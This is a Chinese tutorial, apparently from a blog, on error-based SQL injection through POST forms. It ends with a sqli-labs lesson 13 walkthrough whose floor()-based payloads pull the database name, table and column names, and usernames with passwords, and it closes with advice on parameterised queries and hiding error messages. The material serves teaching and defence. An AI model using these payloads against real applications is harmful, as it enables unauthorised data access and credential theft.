深圳建设网站龙岗网站建设,网站怎么做自响应,哪些网站可以在线做动图,网站没被百度收录文章目录引言POST请求简述报错注入核心思想关键前提实战演练POST报错注入与GET报错注入的区别防御之道#xff1a;如何避免POST报错注入#xff1f;引言
SQL注入是Web安全领域危害性最大、最常见、最持久的高危漏洞之一。它直接威胁到应用程序核心数据库的安全#xff0c;可…
文章目录引言POST请求简述报错注入核心思想关键前提实战演练POST报错注入与GET报错注入的区别防御之道如何避免POST报错注入引言
SQL注入是Web安全领域危害性最大、最常见、最持久的高危漏洞之一。它直接威胁到应用程序核心数据库的安全可导致数据泄露、篡改、删除、系统沦陷等灾难性后果
常见的SQL注入教程多聚焦于GET请求URL参数注入但现实应用中POST请求表单提交、API调用同样广泛且易被忽略
POST报错注入是POST型SQL注入中一种利用数据库错误信息回显来窃取数据的高效技术 POST请求简述
本质 POST 是 HTTP 协议定义的用于向服务器提交数据的一种主要请求方法与 GET 请求数据附加在 URL 后不同POST 请求的数据通常包含在请求体 (Request Body) 中发送给服务器 主要用途 提交表单数据 最常见场景如用户登录用户名/密码、注册、发表评论、上传文件、修改个人信息等创建资源 在 RESTful API 设计中常用于创建新的资源如创建一篇新文章更新资源 也常用于更新服务器上的现有资源如修改文章内容传输较大或敏感数据 因为数据不在 URL 中显示相对 GET 更安全但不是加密仍需 HTTPS且无 URL 长度限制 特点 数据位置 数据在 HTTP 请求头 (Headers) 之后位于独立的请求体 (Body) 中安全性 数据不在 URL 中暴露浏览历史、服务器日志通常不会记录请求体内容但不等于安全明文传输仍需 HTTPS 保护且服务器端处理不当仍有风险幂等性 通常认为 POST 请求是非幂等的多次提交可能产生不同的结果或创建多个资源。这与 GET幂等不同可缓存性 通常 POST 请求的响应不会被浏览器缓存 与 SQL 注入的关系 攻击面 POST 请求提交的数据如表单字段、JSON/XML 参数同样是 SQL 注入的重要攻击入口用户输入的任何数据如用户名、密码、搜索词、评论内容如果未经验证和正确处理都可能被用来构造恶意 SQL 语句隐蔽性 由于数据不在 URL 中通过浏览器地址栏或普通访问日志不易直接观察到注入点攻击者通常会借助代理工具如 Burp Suite, Postman或构造恶意表单页面进行攻击。但这并不降低其危害性 报错注入核心思想
跟GET报错注入相同故意构造一个非法的 SQL 语句片段作为用户输入触发数据库执行时产生一个错误。攻击者利用这个错误信息中携带的、由数据库返回的特定内容通常是攻击者精心构造的查询结果来窃取数据 详细步骤解析
探测注入点 确认目标参数存在 SQL 注入漏洞例如提交单引号 ’ 导致页面显示数据库错误信息触发错误 构造一个特殊的输入使得拼接后的 SQL 语句在语法或语义上是错误的。例如利用数据库函数对非法数据进行操作如将字符串当作数字运算、访问不存在的表/列、函数参数错误等嵌入数据查询 在这个会引发错误的表达式内部嵌入一个攻击者想要执行的子查询 ((SELECT …))。这个子查询的目标是提取敏感数据如 (SELECT username FROM users LIMIT 1)利用错误信息回显 当数据库执行这个错误的语句时它会中断执行并返回一个详细的错误信息给应用程序前提是关键前提满足。这个错误信息通常会包含导致错误的具体表达式内容窃取数据 因为导致错误的表达式里包含了攻击者的子查询 ((SELECT …))而数据库在执行错误检查时会先执行这个子查询。最终子查询的执行结果例如查询到的用户名 admin就会作为错误表达式的一部分被包含在数据库返回的错误信息里。攻击者通过查看页面上显示的错误信息就能直接看到子查询的结果admin迭代提取 通过修改子查询如使用 LIMIT 偏移、WHERE 条件过滤攻击者可以逐条提取数据库中的数据表名、列名、具体数据
各种报错的详解updatexml()报错注入extractValue()报错注入floor()报错注入 关键前提
报错注入成功实施必须满足以下关键前提条件缺一不可 存在 SQL 注入漏洞 应用程序未对用户输入进行有效的过滤、转义或参数化处理导致攻击者可以修改 SQL 语句的结构或逻辑。这是所有 SQL 注入的基础。 数据库错误信息回显到前端 这是报错注入最核心、最关键的先决条件当数据库执行出错时应用程序没有捕获并妥善处理这个错误例如没有进行全局错误捕获并返回友好的自定义错误页而是将原始的、详细的数据库错误信息直接输出回显到了网页、API 响应或其他客户端可见的位置如响应状态码 500 的页面内容如果应用程序仅返回一个通用的“服务器错误”页面或者错误信息被记录到日志但不展示给用户那么攻击者就无法看到包含敏感数据的错误详情报错注入就无法成功。 数据库支持可利用的报错函数/语法 攻击者需要利用数据库特定的函数、特性或语法来构造可控的错误。不同的数据库有不同的函数 MySQL: updatexml(), extractvalue(), exp(), floor(rand()*2) 配合 GROUP BY (Duplicate Key Error) 等SQL Server: convert(), cast(), 除以零 (1/0), WAITFOR DELAY (有时可用于基于时间的错误触发) 等Oracle: ctxsys.drithsx.sn(), utl_inaddr.get_host_name(), 无效的 XPath 表达式等。 这些函数通常要求传入特定的参数类型如 updatexml() 要求有效的 XML 字符串和 XPath当传入构造的非法参数如无效的 XPath 表达式 concat(0x7e, (SELECT user()), 0x7e)时就会报错并将非法参数的内容在错误信息中显示出来。 注入点上下文允许构造复杂表达式 注入点需要能够插入包含函数调用和子查询 ((SELECT …)) 的表达式。这通常发生在 SQL 语句的 WHERE 条件、SET 子句、VALUES 子句、ORDER BY 子句等可以放置表达式的地方。如果注入点限制很大如只能插入一个数字 ID可能难以构造有效的报错载荷 实战演练
环境设置 本示例为 sqli-labs 13 寻找注入点 丢入 admin’ 通过回显报错得出闭合方式为)
unameadminpasswdsubmitSubmit构建报错语句并查询库名本示例使用的是floor报错如有不懂得可见 floor()报错注入详解
unameadmin) union select count(*),concat_ws(~,(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a #passwdsubmitSubmit查询列名
unameadmin) union select count(*),concat_ws(~,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a #passwdsubmitSubmit更改 limit() 参数得出 users 表名
unameadmin) union select count(*),concat_ws(~,(select table_name from information_schema.tables where table_schemadatabase() limit 3,1),floor(rand(0)*2)) as a from information_schema.tables group by a #passwdsubmitSubmit查询列名更改limit参数逐行查询结果查询出列名为id,username,password
unameadmin) union select count(*),concat_ws(~,(select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 2,1),floor(rand(0)*2)) as a from information_schema.tables group by a #passwdsubmitSubmit查询字段
unameadmin) union select count(*),concat_ws(~,(select concat(id,:,username,:,password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a #passwdsubmitSubmitPOST报错注入与GET报错注入的区别
注入点位置 GET在URL参数POST在HTTP请求体测试方式 GET可直接在浏览器地址栏或工具测试POST通常需要抓包工具修改请求体隐蔽性 POST请求体不可见日志记录可能更少相对更隐蔽常见场景 POST更常见于涉及数据修改或敏感操作的表单提交、API 防御之道如何避免POST报错注入 根本方法杜绝SQL注入漏洞 使用参数化查询/预编译语句 这是最有效、最推荐的方式输入验证与过滤 严格校验数据类型、长度、格式白名单优于黑名单但不能作为唯一防线最小权限原则 数据库连接账号只授予应用所需的最小权限存储过程 谨慎使用需保证存储过程本身无注入 针对报错信息泄露 关闭详细错误回显 生产环境必须配置应用程序不将数据库原始错误信息返回给客户端。返回通用错误页面自定义错误处理 捕获数据库异常记录到服务器日志供管理员排查向用户返回友好、无信息泄露的错误提示框架安全特性 使用成熟的ORM框架如Hibernate, Entity Framework并正确配置它们通常内置了参数化查询等安全机制。
